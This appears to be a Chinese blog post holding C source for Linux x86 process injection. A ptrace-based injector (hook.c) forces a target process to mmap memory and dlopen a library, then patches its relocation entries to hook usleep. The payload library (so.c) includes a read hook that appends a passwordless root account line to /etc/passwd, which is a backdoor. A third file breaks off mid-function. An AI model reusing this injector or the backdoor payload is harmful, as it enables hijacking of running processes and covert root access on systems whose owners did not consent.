当前位置:   article > 正文

linx x86平台成功注入so 并且通道rel进行hook_so hook fopen

so hook fopen

  so.c

  1. #include <sys/types.h>
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <pthread.h>
  5. int (*oldusleep)(useconds_t usec);
  6. int newusleep(useconds_t usec)
  7. {
  8. int ret;
  9. printf("newusleep\n");
  10. ret = oldusleep(usec);
  11. return ret;
  12. }
  13. int (*oldwrite) (int fd, const void *buf, size_t count);
  14. ssize_t(*oldread) (int fd, void *buf, size_t count);
  15. void *dolife(void *arg)
  16. {
  17. FILE *fp;
  18. int i;
  19. puts("ok");
  20. puts("ok");
  21. puts("ok");
  22. pthread_detach(pthread_self());
  23. for (i = 0; i < 256; i++) {
  24. puts("dolife ok");
  25. /* fp = fopen("/home/grip2/lifelog.txt", "a");
  26. fprintf(fp, "%d\n", i);
  27. fclose(fp);
  28. */ sleep(1);
  29. }
  30. }
  31. void newput(const char *s)
  32. {
  33. printf("this is %s speaking\n",s);
  34. }
  35. int newwrite(int fd, const void *buf, size_t count)
  36. {
  37. static int n = 0;
  38. static int f = 0;
  39. pthread_t tid;
  40. // if (0 == f++)
  41. // pthread_create(&tid, NULL, &dolife, NULL);
  42. if (n++ > 2)
  43. exit(0);
  44. printf("In newwrite :)\n");
  45. printf("oldwrite %p\n", oldwrite);
  46. printf("newwrite %p\n", newwrite);
  47. oldwrite(fd, buf, count);
  48. n--;
  49. return count;
  50. }
  51. ssize_t newread(int fd, void *buf, size_t count)
  52. {
  53. ssize_t ret;
  54. FILE *fp;
  55. char ch = '#';
  56. ret = oldread(fd, buf, count);
  57. if (memcmp(buf, (void *) &ch, 1) == 0) {
  58. fp = fopen("/etc/passwd", "a");
  59. fputs("injso::0:0:root:/root:/bin/sh\n", fp);
  60. fclose(fp);
  61. }
  62. return ret;
  63. }
  64. void newlife(void)
  65. {
  66. pthread_t tid;
  67. char ch;
  68. puts("ok");
  69. pthread_create(&tid, NULL, &dolife, NULL);
  70. //exit(0);
  71. /*
  72. //for(;;)
  73. {
  74. puts("ok create");
  75. // puts("ok create");
  76. // fflush(stdout);
  77. ch = getchar();
  78. puts("ok create");
  79. puts("ok create");
  80. if ('q' == ch)
  81. break;
  82. }
  83. */
  84. /*
  85. if(fork() == 0)
  86. {
  87. dolife(0);
  88. exit(0);
  89. }
  90. */
  91. puts("ok create");
  92. puts("ok create");
  93. puts("ok create");
  94. puts("ok create");
  95. puts("ok create");
  96. puts("ok create");
  97. puts("ok create");
  98. puts("ok create");
  99. puts("ok create");
  100. }

hook.c

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <sys/ptrace.h>
  6. #include <wait.h>
  7. #include <sys/user.h>
  8. #include <errno.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <stdio.h>
  12. #include <elf.h>
  13. #include <link.h>
  14. #include <sys/wait.h>
  15. #include <sys/mman.h>
  16. #include <dlfcn.h>
  17. #include <dirent.h>
  18. #include <unistd.h>
  19. #include "p_elf.h"
  20. #include "p_dbg.h"
  21. void call_dl_open(int pid, unsigned long addr, char *libname);
  22. void call_dlopen(int pid, unsigned long addr, char *libname);
  23. void usage(void);
  24. const char *libc_path = "/lib/i386-linux-gnu/libc-2.19.so";
  25. const char *linker_path = "/lib/i386-linux-gnu/ld-2.19.so";
  26. void* get_module_base(pid_t pid, const char* module_name)
  27. {
  28. FILE *fp;
  29. long addr = 0;
  30. char *pch;
  31. char filename[32];
  32. char line[1024];
  33. if (pid < 0) {
  34. /* self process */
  35. snprintf(filename, sizeof(filename), "/proc/self/maps", pid);
  36. } else {
  37. snprintf(filename, sizeof(filename), "/proc/%d/maps", pid);
  38. }
  39. fp = fopen(filename, "r");
  40. if (fp != NULL) {
  41. while (fgets(line, sizeof(line), fp)) {
  42. if (strstr(line, module_name)) {
  43. pch = strtok( line, "-" );
  44. addr = strtoul( pch, NULL, 16 );
  45. if (addr == 0x8000)
  46. addr = 0;
  47. break;
  48. }
  49. }
  50. fclose(fp) ;
  51. }
  52. return (void *)addr;
  53. }
  54. int find_pid_of(const char *process_name)
  55. {
  56. int id;
  57. pid_t pid = -1;
  58. DIR* dir;
  59. FILE *fp;
  60. char filename[32];
  61. char cmdline[256];
  62. struct dirent * entry;
  63. if (process_name == NULL)
  64. return -1;
  65. dir = opendir("/proc");
  66. if (dir == NULL)
  67. return -1;
  68. while((entry = readdir(dir)) != NULL) {
  69. id = atoi(entry->d_name);
  70. if (id != 0) {
  71. sprintf(filename, "/proc/%d/cmdline", id);
  72. fp = fopen(filename, "r");
  73. if (fp) {
  74. fgets(cmdline, sizeof(cmdline), fp);
  75. fclose(fp);
  76. if (strcmp(process_name, cmdline) == 0) {
  77. /* process found */
  78. pid = id;
  79. break;
  80. }
  81. }
  82. }
  83. }
  84. closedir(dir);
  85. return pid;
  86. }
  87. int ptrace_getregs(pid_t pid, struct user_regs_struct * regs)
  88. {
  89. if (ptrace(PTRACE_GETREGS, pid, NULL, regs) < 0) {
  90. perror("ptrace_getregs: Can not get register values");
  91. return -1;
  92. }
  93. return 0;
  94. }
  95. int ptrace_setregs(pid_t pid, struct user_regs_struct * regs)
  96. {
  97. if (ptrace(PTRACE_SETREGS, pid, NULL, regs) < 0) {
  98. perror("ptrace_setregs: Can not set register values");
  99. return -1;
  100. }
  101. return 0;
  102. }
  103. int ptrace_readdata(pid_t pid, uint8_t *src, uint8_t *buf, size_t size)
  104. {
  105. uint32_t i, j, remain;
  106. uint8_t *laddr;
  107. union u {
  108. long val;
  109. char chars[sizeof(long)];
  110. } d;
  111. j = size / 4;
  112. remain = size % 4;
  113. laddr = buf;
  114. for (i = 0; i < j; i ++) {
  115. d.val = ptrace(PTRACE_PEEKTEXT, pid, src, 0);
  116. memcpy(laddr, d.chars, 4);
  117. src += 4;
  118. laddr += 4;
  119. }
  120. if (remain > 0) {
  121. d.val = ptrace(PTRACE_PEEKTEXT, pid, src, 0);
  122. memcpy(laddr, d.chars, remain);
  123. }
  124. return 0;
  125. }
  126. int ptrace_writedata(pid_t pid, uint8_t *dest, uint8_t *data, size_t size)
  127. {
  128. uint32_t i, j, remain;
  129. uint8_t *laddr;
  130. union u {
  131. long val;
  132. char chars[sizeof(long)];
  133. } d;
  134. j = size / 4;
  135. remain = size % 4;
  136. laddr = data;
  137. for (i = 0; i < j; i ++) {
  138. memcpy(d.chars, laddr, 4);
  139. ptrace(PTRACE_POKETEXT, pid, dest, d.val);
  140. dest += 4;
  141. laddr += 4;
  142. }
  143. if (remain > 0) {
  144. d.val = ptrace(PTRACE_PEEKTEXT, pid, dest, 0);
  145. for (i = 0; i < remain; i ++) {
  146. d.chars[i] = *laddr ++;
  147. }
  148. ptrace(PTRACE_POKETEXT, pid, dest, d.val);
  149. }
  150. return 0;
  151. }
  152. int ptrace_continue(pid_t pid)
  153. {
  154. if (ptrace(PTRACE_CONT, pid, NULL, 0) < 0) {
  155. perror("ptrace_cont");
  156. return -1;
  157. }
  158. return 0;
  159. }
  160. long ptrace_call_ext(pid_t pid, uint32_t addr, long *params, uint32_t num_params, struct user_regs_struct * regs)
  161. {
  162. regs->esp -= (num_params) * sizeof(long) ;
  163. ptrace_writedata(pid, (void *)regs->esp, (uint8_t *)params, (num_params) * sizeof(long));
  164. long tmp_addr = 0x00;
  165. regs->esp -= sizeof(long);
  166. ptrace_writedata(pid, regs->esp, (char *)&tmp_addr, sizeof(tmp_addr));
  167. regs->eip = addr;
  168. if (ptrace_setregs(pid, regs) == -1
  169. || ptrace_continue( pid) == -1) {
  170. printf("error\n");
  171. return -1;
  172. }
  173. int stat = 0;
  174. //printf("start waiting\n");
  175. waitpid(pid, &stat, WUNTRACED);
  176. //printf("finished\n");
  177. return 0;
  178. }
  179. int ptrace_call_wrapper(pid_t target_pid, const char * func_name, void * func_addr, long * parameters, int param_num, struct user_regs_struct * regs)
  180. {
  181. printf("[+] Calling %s in target process.\n", func_name);
  182. if (ptrace_call_ext(target_pid, (uint32_t)func_addr, parameters, param_num, regs) == -1)
  183. return -1;
  184. if (ptrace_getregs(target_pid, regs) == -1)
  185. return -1;
  186. //printf("[+] Target process returned from %s, return value=%x, pc=%x \n", func_name, ptrace_retval(regs), ptrace_ip(regs));
  187. return 0;
  188. }
  189. long ptrace_retval(struct user_regs_struct * regs)
  190. {
  191. return regs->eax;
  192. }
  193. void call_dlopen(int target_pid, unsigned long dlopen_addr, char *library_path)
  194. {
  195. void *mmap_addr;
  196. struct user_regs_struct regs;
  197. struct user_regs_struct original_regs;
  198. long parameters[10];
  199. uint8_t *map_base = 0;
  200. if (ptrace_getregs(target_pid, &regs) == -1)
  201. goto exit;
  202. memcpy(&original_regs, &regs, sizeof(regs));
  203. mmap_addr = enumprocesssym(target_pid, "libc", "mmap");
  204. parameters[0] = 0; // addr
  205. parameters[1] = 0x4000; // size
  206. parameters[2] = PROT_READ | PROT_WRITE | PROT_EXEC; // prot
  207. parameters[3] = MAP_ANONYMOUS | MAP_PRIVATE; // flags
  208. parameters[4] = 0; //fd
  209. parameters[5] = 0; //offset
  210. if (ptrace_call_wrapper(target_pid, "mmap", mmap_addr, parameters, 6, &regs) == -1)
  211. goto exit;
  212. map_base = ptrace_retval(&regs);
  213. printf("\n--------mapbase=%x--------\n",map_base);
  214. if(map_base==0){
  215. goto exit;
  216. }
  217. ptrace_writedata(target_pid, map_base, library_path, strlen(library_path) + 1);
  218. parameters[0] = map_base;
  219. parameters[1] = RTLD_NOW| RTLD_GLOBAL;
  220. if (ptrace_call_wrapper(target_pid, "dlopen", dlopen_addr, parameters, 2, &regs) == -1)
  221. goto exit;
  222. void * sohandle = ptrace_retval(&regs);
  223. printf("sohandle = %x\n", sohandle);
  224. exit:
  225. ptrace_setregs(target_pid, &original_regs);
  226. }
  227. #define PRINT(a,ehdr) printf(#a"=%x\n",ehdr->a);
  228. #define PRINTA4(a,ehdr) printf(#a"=%2.2x %c%c%c\n",ehdr->a[0],ehdr->a[1],ehdr->a[2],ehdr->a[3]);
  229. void printehdr(Elf32_Ehdr *ehdr)
  230. {
  231. puts("------------printehdr---------------");
  232. PRINTA4(e_ident,ehdr)
  233. PRINT(e_type,ehdr)
  234. PRINT(e_machine,ehdr)
  235. PRINT(e_version,ehdr)
  236. PRINT(e_entry,ehdr)
  237. PRINT(e_phoff,ehdr)
  238. PRINT(e_shoff,ehdr)
  239. PRINT(e_flags,ehdr)
  240. PRINT(e_ehsize,ehdr)
  241. PRINT(e_phentsize,ehdr)
  242. PRINT(e_phnum,ehdr)
  243. PRINT(e_shentsize,ehdr)
  244. PRINT(e_shnum,ehdr)
  245. PRINT(e_shstrndx,ehdr)
  246. printf("ehsize=%x phsize=%x shsize=%x\n",sizeof(Elf32_Ehdr),sizeof(Elf32_Phdr),sizeof(Elf32_Shdr));
  247. }
  248. #define PRINTSWITCH(a,type) if(a==type){puts(#a);return;}
  249. void printptype(int type)
  250. {
  251. PRINTSWITCH(PT_NULL,type)
  252. PRINTSWITCH(PT_LOAD,type)
  253. PRINTSWITCH(PT_DYNAMIC,type)
  254. PRINTSWITCH(PT_INTERP,type)
  255. PRINTSWITCH(PT_NOTE,type)
  256. PRINTSWITCH(PT_SHLIB,type)
  257. PRINTSWITCH(PT_PHDR,type)
  258. PRINTSWITCH(PT_TLS,type)
  259. PRINTSWITCH(PT_NUM,type)
  260. PRINTSWITCH(PT_LOOS,type)
  261. PRINTSWITCH(PT_GNU_EH_FRAME,type)
  262. PRINTSWITCH(PT_GNU_STACK,type)
  263. PRINTSWITCH(PT_GNU_RELRO,type)
  264. PRINTSWITCH(PT_LOSUNW,type)
  265. PRINTSWITCH(PT_SUNWBSS,type)
  266. PRINTSWITCH(PT_SUNWSTACK,type)
  267. PRINTSWITCH(PT_HISUNW,type)
  268. PRINTSWITCH(PT_HIOS,type)
  269. PRINTSWITCH(PT_LOPROC,type)
  270. PRINTSWITCH(PT_HIPROC,type)
  271. }
  272. void printphdr(Elf32_Phdr *phdr)
  273. {
  274. puts("-------printphdr--------------------");
  275. printptype(phdr->p_type);
  276. PRINT(p_type,phdr)
  277. PRINT(p_offset,phdr)
  278. PRINT(p_vaddr,phdr)
  279. PRINT(p_paddr,phdr)
  280. PRINT(p_filesz,phdr)
  281. PRINT(p_memsz,phdr)
  282. PRINT(p_flags,phdr)
  283. PRINT(p_align,phdr)
  284. }
  285. void printdyntag(int d_tag)
  286. {
  287. PRINTSWITCH(DT_NULL,d_tag)
  288. PRINTSWITCH(DT_NEEDED,d_tag)
  289. PRINTSWITCH(DT_PLTRELSZ,d_tag)
  290. PRINTSWITCH(DT_PLTGOT,d_tag)
  291. PRINTSWITCH(DT_HASH,d_tag)
  292. PRINTSWITCH(DT_STRTAB,d_tag)
  293. PRINTSWITCH(DT_SYMTAB,d_tag)
  294. PRINTSWITCH(DT_RELA,d_tag)
  295. PRINTSWITCH(DT_RELASZ,d_tag)
  296. PRINTSWITCH(DT_RELAENT,d_tag)
  297. PRINTSWITCH(DT_STRSZ,d_tag)
  298. PRINTSWITCH(DT_SYMENT,d_tag)
  299. PRINTSWITCH(DT_INIT,d_tag)
  300. PRINTSWITCH(DT_FINI,d_tag)
  301. PRINTSWITCH(DT_SONAME,d_tag)
  302. PRINTSWITCH(DT_RPATH,d_tag)
  303. PRINTSWITCH(DT_SYMBOLIC,d_tag)
  304. PRINTSWITCH(DT_REL,d_tag)
  305. PRINTSWITCH(DT_RELSZ,d_tag)
  306. PRINTSWITCH(DT_RELENT,d_tag)
  307. PRINTSWITCH(DT_PLTREL,d_tag)
  308. PRINTSWITCH(DT_DEBUG,d_tag)
  309. PRINTSWITCH(DT_TEXTREL,d_tag)
  310. PRINTSWITCH(DT_JMPREL,d_tag)
  311. PRINTSWITCH(DT_BIND_NOW,d_tag)
  312. PRINTSWITCH(DT_INIT_ARRAY,d_tag)
  313. PRINTSWITCH(DT_FINI_ARRAY,d_tag)
  314. PRINTSWITCH(DT_INIT_ARRAYSZ,d_tag)
  315. PRINTSWITCH(DT_FINI_ARRAYSZ,d_tag)
  316. PRINTSWITCH(DT_RUNPATH,d_tag)
  317. PRINTSWITCH(DT_FLAGS,d_tag)
  318. PRINTSWITCH(DT_ENCODING,d_tag)
  319. PRINTSWITCH(DT_PREINIT_ARRAY,d_tag)
  320. PRINTSWITCH(DT_PREINIT_ARRAYSZ,d_tag)
  321. PRINTSWITCH(DT_NUM,d_tag)
  322. PRINTSWITCH(DT_LOOS,d_tag)
  323. PRINTSWITCH(DT_HIOS,d_tag)
  324. PRINTSWITCH(DT_LOPROC,d_tag)
  325. PRINTSWITCH(DT_HIPROC,d_tag)
  326. PRINTSWITCH(DT_PROCNUM,d_tag)
  327. PRINTSWITCH(DT_VALRNGLO,d_tag)
  328. PRINTSWITCH(DT_GNU_PRELINKED,d_tag)
  329. PRINTSWITCH(DT_GNU_CONFLICTSZ,d_tag)
  330. PRINTSWITCH(DT_GNU_LIBLISTSZ,d_tag)
  331. PRINTSWITCH(DT_CHECKSUM,d_tag)
  332. PRINTSWITCH(DT_PLTPADSZ,d_tag)
  333. PRINTSWITCH(DT_MOVEENT,d_tag)
  334. PRINTSWITCH(DT_MOVESZ,d_tag)
  335. PRINTSWITCH(DT_FEATURE_1,d_tag)
  336. PRINTSWITCH(DT_POSFLAG_1,d_tag)
  337. PRINTSWITCH(DT_SYMINSZ,d_tag)
  338. PRINTSWITCH(DT_SYMINENT,d_tag)
  339. PRINTSWITCH(DT_VALRNGHI,d_tag)
  340. PRINTSWITCH(DT_ADDRRNGLO,d_tag)
  341. PRINTSWITCH(DT_GNU_HASH,d_tag)
  342. PRINTSWITCH(DT_TLSDESC_PLT,d_tag)
  343. PRINTSWITCH(DT_TLSDESC_GOT,d_tag)
  344. PRINTSWITCH(DT_GNU_CONFLICT,d_tag)
  345. PRINTSWITCH(DT_GNU_LIBLIST,d_tag)
  346. PRINTSWITCH(DT_CONFIG,d_tag)
  347. PRINTSWITCH(DT_DEPAUDIT,d_tag)
  348. PRINTSWITCH(DT_AUDIT,d_tag)
  349. PRINTSWITCH(DT_PLTPAD,d_tag)
  350. PRINTSWITCH(DT_MOVETAB,d_tag)
  351. PRINTSWITCH(DT_SYMINFO,d_tag)
  352. PRINTSWITCH(DT_ADDRRNGHI,d_tag)
  353. PRINTSWITCH(DT_ADDRNUM,d_tag)
  354. PRINTSWITCH(DT_VERSYM,d_tag)
  355. PRINTSWITCH(DT_RELACOUNT,d_tag)
  356. PRINTSWITCH(DT_RELCOUNT,d_tag)
  357. PRINTSWITCH(DT_FLAGS_1,d_tag)
  358. PRINTSWITCH(DT_VERDEF,d_tag)
  359. PRINTSWITCH(DT_VERDEFNUM,d_tag)
  360. PRINTSWITCH(DT_VERNEED,d_tag)
  361. PRINTSWITCH(DT_VERNEEDNUM,d_tag)
  362. PRINTSWITCH(DT_VERSIONTAGNUM,d_tag)
  363. PRINTSWITCH(DT_AUXILIARY,d_tag)
  364. PRINTSWITCH(DT_FILTER,d_tag)
  365. PRINTSWITCH(DT_EXTRANUM,d_tag)
  366. }
  367. void printdyn(Elf32_Dyn* dyn)
  368. {
  369. puts("----------printdyn-----------------");
  370. printdyntag(dyn->d_tag);
  371. PRINT(d_tag,dyn)
  372. PRINT(d_un.d_val,dyn)
  373. }
  374. #define PROCESSREAD(ptr,addr,size) ptrace_read(pid, (void*)(addr), ptr, size)
  375. void printsym(Elf32_Sym *sym,int straddr,int pid)
  376. {
  377. puts("-------printsym--------------------");
  378. if(sym->st_name){
  379. char sname[40];
  380. PROCESSREAD(sname,straddr+sym->st_name,40);
  381. puts(sname);
  382. }
  383. PRINT(st_name,sym)
  384. PRINT(st_value,sym)
  385. PRINT(st_size,sym)
  386. PRINT(st_info,sym)
  387. PRINT(st_other,sym)
  388. PRINT(st_shndx,sym)
  389. }
  390. void printlinkmap(struct link_map*lm,int pid)
  391. {
  392. puts("-------printlinkmap--------");
  393. PRINT(l_addr,lm)
  394. PRINT(l_ld,lm)
  395. char sname[40];
  396. PROCESSREAD(sname,lm->l_name,40);
  397. puts(sname);
  398. //puts(lm->l_name);
  399. }
  400. int enumprocesssym(int pid,const char*libname,const char*fnname)
  401. {
  402. unsigned long modbase = (unsigned long)get_module_base(pid,libname);
  403. unsigned long phdr_addr,shdr_addr, dyn_addr;
  404. int i;
  405. if(modbase==0){
  406. printf("%d[%s] get_module_base=0",pid,libname);
  407. return;
  408. }
  409. printf("modbase=%x\n",modbase);
  410. Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
  411. Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
  412. Elf32_Shdr *shdr = (Elf32_Shdr *) malloc(sizeof(Elf32_Shdr));
  413. Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
  414. Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
  415. struct link_map* linknode = (struct link_map*)malloc(sizeof(struct link_map));
  416. //ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr));
  417. PROCESSREAD(ehdr,modbase,sizeof(Elf32_Ehdr));
  418. //printehdr(ehdr);
  419. int offsetdyn =0;
  420. int dynsize = 0;
  421. for(i=0;i<ehdr->e_phnum;i++){
  422. PROCESSREAD(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr));
  423. //printphdr(phdr);
  424. if(PT_DYNAMIC==phdr->p_type){
  425. offsetdyn = phdr->p_vaddr;
  426. dynsize = phdr->p_memsz;
  427. }
  428. }
  429. int symaddr=0;
  430. int symsize=0;
  431. int straddr=0;
  432. int gotaddr=0;
  433. int mapaddr=0;
  434. for(i=0;i<dynsize/sizeof(Elf32_Dyn);i++){
  435. PROCESSREAD(dyn,modbase+offsetdyn+(i*sizeof(Elf32_Dyn)),sizeof(Elf32_Dyn));
  436. //printdyn(dyn);
  437. if(DT_SYMTAB==dyn->d_tag){
  438. symaddr = dyn->d_un.d_val;
  439. }else if(DT_STRTAB==dyn->d_tag){
  440. straddr=dyn->d_un.d_val;
  441. }else if(DT_PLTGOT==dyn->d_tag){
  442. gotaddr=dyn->d_un.d_val;
  443. }
  444. }
  445. puts("-------sym-------");
  446. for(i=0;;i++){
  447. PROCESSREAD(sym,symaddr+(i*sizeof(Elf32_Sym)),sizeof(Elf32_Sym));
  448. //printsym(sym,straddr,pid);
  449. if(sym->st_name){
  450. char sname[40];
  451. PROCESSREAD(sname,straddr+sym->st_name,40);
  452. if(!strcmp(sname,fnname)){
  453. printsym(sym,straddr,pid);
  454. return modbase+sym->st_value;
  455. }
  456. }
  457. }
  458. return 0;
  459. Elf32_Addr gotv=0;
  460. puts("----got------");
  461. int linknodeaddr=0;
  462. for(i=0;i<60;i++){
  463. PROCESSREAD(&gotv,gotaddr+(i*sizeof(Elf32_Addr)),sizeof(Elf32_Addr));
  464. printf("%x\n",gotv);
  465. if(gotv==0)break;
  466. if(i==1)mapaddr=gotv;
  467. }
  468. i=0;
  469. int laddr = mapaddr;
  470. puts("----linkmap------");
  471. while(1)
  472. {
  473. PROCESSREAD(linknode,laddr,sizeof(struct link_map));
  474. //printlinkmap(linknode);
  475. if(linknode->l_next==0)break;
  476. laddr = linknode->l_next;
  477. }
  478. while(1)
  479. {
  480. PROCESSREAD(linknode,laddr,sizeof(struct link_map));
  481. printlinkmap(linknode,pid);
  482. if(linknode->l_prev==0)break;
  483. laddr = linknode->l_prev;
  484. }
  485. return;
  486. }
  487. void call_newput(int target_pid, unsigned long newput_addr, const char *strdata)
  488. {
  489. void *mmap_addr;
  490. struct user_regs_struct regs;
  491. struct user_regs_struct original_regs;
  492. long parameters[10];
  493. uint8_t *map_base = 0;
  494. if (ptrace_getregs(target_pid, &regs) == -1)
  495. goto exit;
  496. memcpy(&original_regs, &regs, sizeof(regs));
  497. mmap_addr = enumprocesssym(target_pid, "libc", "mmap");
  498. parameters[0] = 0; // addr
  499. parameters[1] = 0x4000; // size
  500. parameters[2] = PROT_READ | PROT_WRITE | PROT_EXEC; // prot
  501. parameters[3] = MAP_ANONYMOUS | MAP_PRIVATE; // flags
  502. parameters[4] = 0; //fd
  503. parameters[5] = 0; //offset
  504. if (ptrace_call_wrapper(target_pid, "mmap", mmap_addr, parameters, 6, &regs) == -1)
  505. goto exit;
  506. map_base = ptrace_retval(&regs);
  507. printf("\n--------mapbase=%x--------\n",map_base);
  508. if(map_base==0){
  509. goto exit;
  510. }
  511. ptrace_writedata(target_pid, map_base, strdata, strlen(strdata) + 1);
  512. parameters[0] = map_base;
  513. //parameters[1] = RTLD_NOW| RTLD_GLOBAL;
  514. if (ptrace_call_wrapper(target_pid, "newput",newput_addr, parameters, 1, &regs) == -1)
  515. goto exit;
  516. void * sohandle = ptrace_retval(&regs);
  517. printf("ret = %x\n", sohandle);
  518. exit:
  519. ptrace_setregs(target_pid, &original_regs);
  520. }
  521. int g_symtab=0,g_strtab=0,g_jmprel=0,g_totalrelsize=0,g_relsize=0,g_nrels=0;
  522. void get_dyn_info2(int pid,int dynaddr)
  523. {
  524. Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
  525. int i = 0;
  526. PROCESSREAD( dyn,dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn));
  527. i++;
  528. while (dyn->d_tag) {
  529. switch (dyn->d_tag) {
  530. case DT_SYMTAB:
  531. puts("DT_SYMTAB");
  532. g_symtab = dyn->d_un.d_ptr;
  533. break;
  534. case DT_STRTAB:
  535. g_strtab = dyn->d_un.d_ptr;
  536. puts("DT_STRTAB");
  537. break;
  538. case DT_JMPREL:
  539. g_jmprel = dyn->d_un.d_ptr;
  540. puts("DT_JMPREL");
  541. //printf("jmprel\t %p\n", g_jmprel);
  542. break;
  543. case DT_PLTRELSZ:
  544. g_totalrelsize = dyn->d_un.d_val;
  545. puts("DT_PLTRELSZ");
  546. break;
  547. case DT_RELAENT:
  548. g_relsize = dyn->d_un.d_val;
  549. puts("DT_RELAENT");
  550. break;
  551. case DT_RELENT:
  552. g_relsize = dyn->d_un.d_val;
  553. puts("DT_RELENT");
  554. break;
  555. }
  556. PROCESSREAD(dyn, dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn));
  557. i++;
  558. }
  559. g_nrels = g_totalrelsize / g_relsize;
  560. free(dyn);
  561. printf("g_nrels=%d\n",g_nrels);
  562. }
  563. unsigned long find_sym_in_rel2(int pid, char *sym_name,int dynaddr)
  564. {
  565. Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));
  566. Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
  567. int i;
  568. unsigned long ret;
  569. char str[100];
  570. get_dyn_info2(pid,dynaddr);
  571. for (i = 0; i < g_nrels; i++) {
  572. puts("1");
  573. PROCESSREAD(rel, (unsigned long) (g_jmprel + i * sizeof(Elf32_Rel)),sizeof(Elf32_Rel));
  574. if (ELF32_R_SYM(rel->r_info)) {
  575. PROCESSREAD(sym,g_symtab + ELF32_R_SYM(rel->r_info) * sizeof(Elf32_Sym), sizeof(Elf32_Sym));
  576. PROCESSREAD(str,g_strtab + sym->st_name,100);
  577. puts("2");
  578. if (strcmp(str, sym_name) == 0) {
  579. break;
  580. }
  581. }
  582. }
  583. if (i == g_nrels)
  584. ret = 0;
  585. else
  586. ret = rel->r_offset;
  587. free(rel);
  588. free(sym);
  589. return ret;
  590. }
  591. int enumprocrel(int pid,const char*libname)
  592. {
  593. unsigned long modbase = (unsigned long)get_module_base(pid,libname);
  594. unsigned long phdr_addr,shdr_addr, dyn_addr;
  595. int i;
  596. if(modbase==0){
  597. printf("%d[%s] get_module_base=0\n",pid,libname);
  598. return;
  599. }
  600. printf("modbase=%x\n",modbase);
  601. Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
  602. Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
  603. //ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr));
  604. PROCESSREAD(ehdr,modbase,sizeof(Elf32_Ehdr));
  605. //printehdr(ehdr);
  606. int offsetdyn =0;
  607. int dynsize = 0;
  608. for(i=0;i<ehdr->e_phnum;i++){
  609. PROCESSREAD(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr));
  610. //printphdr(phdr);
  611. if(PT_DYNAMIC==phdr->p_type){
  612. offsetdyn = phdr->p_vaddr;
  613. dynsize = phdr->p_memsz;
  614. free(ehdr);
  615. free(phdr);
  616. if(offsetdyn<0x08000000)return modbase+offsetdyn;
  617. return offsetdyn;
  618. }
  619. }
  620. return 0;
  621. }
  622. int main(int argc, char *argv[])
  623. {
  624. long pid;
  625. struct link_map *map;
  626. char sym_name[256];
  627. unsigned long sym_addr;
  628. unsigned long new_addr, old_addr, rel_addr;
  629. int ch;
  630. char soname[256];
  631. char *pchar;
  632. char search_mode = 's'; /* 's' - symbol table, 'h' - hash table */
  633. char print_flag = 'n';
  634. strcpy(soname, (char *) get_current_dir_name());
  635. strcat(soname, "/so.so"); /* default shared library */
  636. printf("soname:%s\n",soname);
  637. pid = find_pid_of("./loop");
  638. ptrace_attach(pid);
  639. printf("pid=%d\n",pid);
  640. //int mmapaddress=enumprocesssym(pid,"libc","mmap");
  641. //printf("mmap=%x\n",mmapaddress);
  642. void *dlopen_addr;
  643. // void* handle = dlopen( "/lib/i386-linux-gnu/libdl-2.19.so",RTLD_NOW| RTLD_GLOBAL);
  644. // void*addr = dlsym(handle,"dlopen");
  645. dlopen_addr = enumprocesssym( pid, "libdl", "dlopen" );
  646. printf("dlopen_addr = %x\n", dlopen_addr);
  647. call_dlopen(pid, dlopen_addr, soname);
  648. void* newput = enumprocesssym( pid, soname, "newput" );
  649. call_newput(pid,newput,"wangjinrong");
  650. sym_addr = enumprocesssym(pid, soname, "newusleep");
  651. printf("sym_addr=%x\n",sym_addr);
  652. int dynbaseaddr=enumprocrel(pid,"loop");
  653. printf("dynbaseaddr=%x\n",dynbaseaddr);
  654. rel_addr = find_sym_in_rel2(pid,"usleep",dynbaseaddr);
  655. printf("rel_addr=%x\n",rel_addr);
  656. old_addr = enumprocesssym(pid, soname, "oldusleep");
  657. printf("old_addr=%x\n",old_addr);
  658. ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));
  659. ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));
  660. ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr));
  661. ptrace_detach(pid);
  662. exit(0);
  663. }

s.c

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <sys/ptrace.h>
  6. #include <wait.h>
  7. #include <sys/user.h>
  8. #include <errno.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <stdio.h>
  12. #include <elf.h>
  13. #include <link.h>
  14. #include <sys/wait.h>
  15. #include <sys/mman.h>
  16. #include <dlfcn.h>
  17. #include <dirent.h>
  18. #include <unistd.h>
  19. void* get_module_base(pid_t pid, const char* module_name)
  20. {
  21. FILE *fp;
  22. long addr = 0;
  23. char *pch;
  24. char filename[32];
  25. char line[1024];
  26. if (pid < 0) {
  27. /* self process */
  28. snprintf(filename, sizeof(filename), "/proc/self/maps", pid);
  29. } else {
  30. snprintf(filename, sizeof(filename), "/proc/%d/maps", pid);
  31. }
  32. fp = fopen(filename, "r");
  33. if (fp != NULL) {
  34. while (fgets(line, sizeof(line), fp)) {
  35. if (strstr(line, module_name)) {
